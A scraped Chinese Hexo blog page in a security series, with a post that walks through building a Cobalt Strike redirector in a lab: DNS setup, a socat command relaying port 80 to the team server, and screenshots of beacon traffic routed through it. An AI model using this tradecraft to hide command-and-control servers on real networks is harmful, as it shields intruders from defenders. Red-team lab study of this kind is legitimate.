<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/24/一枚简单的未知壳/index.html | HTML | unknown | 38,383 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/25/cobalt-strike-二/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="Cobalt Strike重定器域名:kali123.com dns服务器 :192.168.3.40 csserver(kali):192.168.3.8 k.kali.com Ubuntu:192.168.3.42">
<meta property="og:type" content="article">
<meta property="og:title" content="Cobalt Strike(二)">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/25/Cobalt-Strike-%E4%BA%8C/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="Cobalt Strike重定器域名:kali123.com dns服务器 :192.168.3.40 csserver(kali):192.168.3.8 k.kali.com Ubuntu:192.168.3.42">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525172341978.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525201436816.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525201836804.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525201946554.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525224849860.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525230254333.png">
<meta property="og:image" content="https://xiaoeeyu.github.io/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525230127596.png">
<meta property="article:published_time" content="2021-05-25T08:40:52.000Z">
<meta property="article:modified_time" content="2021-05-25T15:05:29.469Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="-Cobalt Strike">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xiaoeeyu.github.io/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525172341978.png">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
Cobalt Strike(二) | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">Cobalt Strike(二)</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-25 16:40:52</span>
<span class="mobile">2021-05-25 16:40:52</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2021-05-25 23:05:29</span>
<span class="mobile">2021-05-25 23:05:29</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/%E6%B8%97%E9%80%8F/">渗透</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/Cobalt-Strike/">-Cobalt Strike</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h2 id="Cobalt-Strike重定器"><a href="#Cobalt-Strike重定器" class="headerlink" title="Cobalt Strike重定器"></a>Cobalt Strike重定器</h2><p>域名:kali123.com</p>
<p>dns服务器 :192.168.3.40</p>
<p>csserver(kali):192.168.3.8 k.kali.com</p>
<p>Ubuntu:192.168.3.42</p>
<span id="more"></span>
<h3 id="简介:"><a href="#简介:" class="headerlink" title="简介:"></a>简介:</h3><ol>
<li><p>什么是“重定器”:</p>
<p>“重定器”是一个在“CS”服务器和目标网络之间的服务器。作用是对你团队服务器下的连接,用做代理服务器或端口转发服务。 </p>
</li>
<li><p>作用</p>
<pre><code> 1. 保护服务器地址
2. 增强适应能力,保持通信
</code></pre>
</li>
<li><p>使用的工具</p>
<p><code>socat TCP4-LISTEN:80,fork TCP4:[team server]:80</code></p>
<p>可以用这个工具来建立80端口的连接管理,并且继续在80端口运行那个连接团队服务器的连接。</p>
<p>linux系统的使用命令</p>
<p><code>socat TCP4-LISTEN:80,fork TCP4:team.cskali.com:80</code></p>
</li>
</ol>
<p>重定向拓扑图</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525172341978.png" class="" title="image-20210525172341978">
<ol start="4">
<li><p>本地域名配置</p>
<p> 先配置一下DNS信息</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525201436816.png" class="" title="image-20210525201436816">
<p> 然后在我们用我们的windows虚拟机输入域名连接一下csserver</p>
<p> a. 修改本地的DNS</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525201836804.png" class="" title="image-20210525201836804">
<p> b. 连接csserver:连接成功</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525201946554.png" class="" title="image-20210525201946554">
</li>
<li><p>在重定向服务器上使用socat工具进行重定向</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525224849860.png" class="" title="image-20210525224849860">
</li>
<li><p>上线后监控靶机的流量可以看到都是流向重定向服务器的流量说明建立连接并中专成功</p>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525230254333.png" class="" title="image-20210525230254333">
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/25/Cobalt-Strike-%E4%BA%8C/image-20210525230127596.png" class="" title="image-20210525230127596"></li>
</ol>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> Cobalt Strike(二)</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-25 16:40:52</li>
<li>
<strong>更新于
:</strong> 2021-05-25 23:05:29
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/25/Cobalt-Strike-二/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/Cobalt-Strike/">#-Cobalt Strike</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/26/Cobalt-Strike-%E4%B8%89/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Cobalt Strike(三)</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/24/Cobalt-Strike%E4%BD%BF%E7%94%A8%EF%BC%88%E4%B8%80%EF%BC%89/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">Cobalt Strike使用(一)</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">Cobalt Strike(二)</div>
<ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#Cobalt-Strike%E9%87%8D%E5%AE%9A%E5%99%A8"><span class="nav-text">Cobalt Strike重定器</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#%E7%AE%80%E4%BB%8B%EF%BC%9A"><span class="nav-text">简介:</span></a></li></ol></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/25/Cobalt-Strike-二/index.html | HTML | unknown | 31,355 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/26/cobalt-strike-三/"/>
<meta name="robots" content="index,follow">
